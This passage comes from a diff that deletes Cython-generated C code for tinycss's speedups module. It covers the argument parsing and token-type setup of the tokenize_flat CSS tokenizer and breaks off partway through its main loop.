{ - PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__ignore_comments); - if (value) { values[1] = value; kw_args--; } - } - } - if (unlikely(kw_args > 0)) { - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, PyTuple_GET_SIZE(__pyx_args), "tokenize_flat") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } else { - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - break; - default: goto __pyx_L5_argtuple_error; - } - } - __pyx_v_css_source = values[0]; - if (values[1]) { - __pyx_v_ignore_comments = __Pyx_PyInt_AsInt(values[1]); if (unlikely((__pyx_v_ignore_comments == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } else { - __pyx_v_ignore_comments = ((int)1); - } - } - goto __pyx_L4_argument_unpacking_done; - __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("tokenize_flat", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - __pyx_L3_error:; - __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); - __Pyx_RefNannyFinishContext(); - return NULL; - __pyx_L4_argument_unpacking_done:; - - /* "tinycss/speedups.pyx":67 - * """ - * # Make these local variable to avoid global lookups in the loop - * tokens_dispatch = TOKEN_DISPATCH # <<<<<<<<<<<<<< - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 67; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_tokens_dispatch = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":68 - * # Make these local variable to avoid global lookups in the loop - * tokens_dispatch = TOKEN_DISPATCH - * compiled_token_indexes = COMPILED_TOKEN_INDEXES # <<<<<<<<<<<<<< - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s_4); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_compiled_token_indexes = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":69 - * tokens_dispatch = TOKEN_DISPATCH - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS # <<<<<<<<<<<<<< - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s_1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_compiled_tokens = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":70 - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE # <<<<<<<<<<<<<< - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 70; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_unicode_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":71 - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE # <<<<<<<<<<<<<< - * simple_unescape = SIMPLE_UNESCAPE - * find_newlines = FIND_NEWLINES - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 71; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_newline_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":72 - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE # <<<<<<<<<<<<<< - * find_newlines = FIND_NEWLINES - * - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 72; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_simple_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":73 - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE - * find_newlines = FIND_NEWLINES # <<<<<<<<<<<<<< - * - * # Use the integer indexes instead of string markers - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__FIND_NEWLINES); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 73; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_find_newlines = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":76 - * - * # Use the integer indexes instead of string markers - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__BAD_COMMENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 76; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 76; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_BAD_COMMENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":77 - * # Use the integer indexes instead of string markers - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__BAD_STRING)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 77; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 77; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_BAD_STRING = __pyx_t_2; - - /* "tinycss/speedups.pyx":78 - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__PERCENTAGE)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 78; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 78; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_PERCENTAGE = __pyx_t_2; - - /* "tinycss/speedups.pyx":79 - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__DIMENSION)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 79; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 79; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_DIMENSION = __pyx_t_2; - - /* "tinycss/speedups.pyx":80 - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__ATKEYWORD)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 80; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 80; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_ATKEYWORD = __pyx_t_2; - - /* "tinycss/speedups.pyx":81 - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__FUNCTION)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_FUNCTION = __pyx_t_2; - - /* "tinycss/speedups.pyx":82 - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__COMMENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 82; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 82; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_COMMENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":83 - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__NUMBER)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 83; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 83; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_NUMBER = __pyx_t_2; - - /* "tinycss/speedups.pyx":84 - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__STRING)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_STRING = __pyx_t_2; - - /* "tinycss/speedups.pyx":85 - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__IDENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 85; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 85; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_IDENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":86 - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - * cdef Py_ssize_t DELIM = -1 - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__HASH)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 86; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 86; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_HASH = __pyx_t_2; - - /* "tinycss/speedups.pyx":87 - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t DELIM = -1 - * - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__URI)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_URI = __pyx_t_2; - - /* "tinycss/speedups.pyx":88 - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - * cdef Py_ssize_t DELIM = -1 # <<<<<<<<<<<<<< - * - * cdef Py_ssize_t pos = 0 - */ - __pyx_v_DELIM = -1; - - /* "tinycss/speedups.pyx":90 - * cdef Py_ssize_t DELIM = -1 - * - * cdef Py_ssize_t pos = 0 # <<<<<<<<<<<<<< - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 - */ - __pyx_v_pos = 0; - - /* "tinycss/speedups.pyx":91 - * - * cdef Py_ssize_t pos = 0 - * cdef Py_ssize_t line = 1 # <<<<<<<<<<<<<< - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) - */ - __pyx_v_line = 1; - - /* "tinycss/speedups.pyx":92 - * cdef Py_ssize_t pos = 0 - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 # <<<<<<<<<<<<<< - * cdef Py_ssize_t source_len = len(css_source) - * cdef Py_ssize_t n_tokens = len(compiled_tokens) - */ - __pyx_v_column = 1; - - /* "tinycss/speedups.pyx":93 - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) # <<<<<<<<<<<<<< - * cdef Py_ssize_t n_tokens = len(compiled_tokens) - * cdef Py_ssize_t length, next_pos, type_ - */ - __pyx_t_2 = PyObject_Length(__pyx_v_css_source); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 93; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_source_len = __pyx_t_2; - - /* "tinycss/speedups.pyx":94 - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) - * cdef Py_ssize_t n_tokens = len(compiled_tokens) # <<<<<<<<<<<<<< - * cdef Py_ssize_t length, next_pos, type_ - * cdef CToken token - */ - __pyx_t_2 = PyObject_Length(__pyx_v_compiled_tokens); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 94; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_n_tokens = __pyx_t_2; - - /* "tinycss/speedups.pyx":98 - * cdef CToken token - * - * tokens = [] # <<<<<<<<<<<<<< - * while pos < source_len: - * char = css_source[pos] - */ - __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 98; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __pyx_v_tokens = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":99 - * - * tokens = [] - * while pos < source_len: # <<<<<<<<<<<<<< - * char = css_source[pos] - * if char in ':;{}()[]': - */ - while (1) { - __pyx_t_3 = (__pyx_v_pos < __pyx_v_source_len); - if (!__pyx_t_3) break; - - /* "tinycss/speedups.pyx":100 - * tokens = [] - * while pos < source_len: - * char = css_source[pos] # <<<<<<<<<<<<<< - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway - */ - __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_css_source, __pyx_v_pos, sizeof(Py_ssize_t), PyInt_FromSsize_t); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_v_char); - __pyx_v_char = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":101 - * while pos < source_len: - * char = css_source[pos] - * if char in ':;{}()[]': # <<<<<<<<<<<<<< - * type_ = -1 # not parsed further anyway - * type_name = char - */ - __pyx_t_3 = ((PySequence_Contains(((PyObject *)__pyx_kp_u_5), __pyx_v_char))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 101; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":102 - * char = css_source[pos] - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway # <<<<<<<<<<<<<< - * type_name = char - * css_value = char - */ - __pyx_v_type_ = -1; - - /* "tinycss/speedups.pyx":103 - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway - * type_name = char # <<<<<<<<<<<<<< - * css_value = char - * else: - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = __pyx_v_char; - - /* "tinycss/speedups.pyx":104 - * type_ = -1 # not parsed further anyway - * type_name = char - * css_value = char # <<<<<<<<<<<<<< - * else: - * codepoint = min(ord(char), 160) - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_v_char; - goto __pyx_L8; - } - /*else*/ { - - /* "tinycss/speedups.pyx":106 - * css_value = char - * else: - * codepoint = min(ord(char), 160) # <<<<<<<<<<<<<< - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) - */ - __pyx_t_4 = 160; - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_char); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_char); - __Pyx_GIVEREF(__pyx_v_char); - __pyx_t_5 = PyObject_Call(__pyx_builtin_ord, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_6 = PyInt_FromLong(__pyx_t_4); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = PyObject_RichCompare(__pyx_t_6, __pyx_t_5, Py_LT); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (__pyx_t_3) { - __pyx_t_7 = PyInt_FromLong(__pyx_t_4); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_1 = __pyx_t_7; - __pyx_t_7 = 0; - } else { - __Pyx_INCREF(__pyx_t_5); - __pyx_t_1 = __pyx_t_5; - } - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_v_codepoint); - __pyx_v_codepoint = __pyx_t_1; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":107 - * else: - * codepoint = min(ord(char), 160) - * for type_, type_name, regexp in tokens_dispatch[codepoint]: # <<<<<<<<<<<<<< - * match = regexp(css_source, pos) - * if match: - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_tokens_dispatch, __pyx_v_codepoint); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyList_CheckExact(__pyx_t_1) || PyTuple_CheckExact(__pyx_t_1)) { - __pyx_t_5 = __pyx_t_1; __Pyx_INCREF(__pyx_t_5); __pyx_t_2 = 0; - __pyx_t_8 = NULL; - } else { - __pyx_t_2 = -1; __pyx_t_5 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_8 = Py_TYPE(__pyx_t_5)->tp_iternext; - } - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - for (;;) { - if (PyList_CheckExact(__pyx_t_5)) { - if (__pyx_t_2 >= PyList_GET_SIZE(__pyx_t_5)) break; - __pyx_t_1 = PyList_GET_ITEM(__pyx_t_5, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; - } else if (PyTuple_CheckExact(__pyx_t_5)) { - if (__pyx_t_2 >= PyTuple_GET_SIZE(__pyx_t_5)) break; - __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_5, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; - } else { - __pyx_t_1 = __pyx_t_8(__pyx_t_5); - if (unlikely(!__pyx_t_1)) { - if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) PyErr_Clear(); - else {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - break; - } - __Pyx_GOTREF(__pyx_t_1); - } - if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { - PyObject* sequence = __pyx_t_1; - if (likely(PyTuple_CheckExact(sequence))) { - if (unlikely(PyTuple_GET_SIZE(sequence) != 3)) { - if 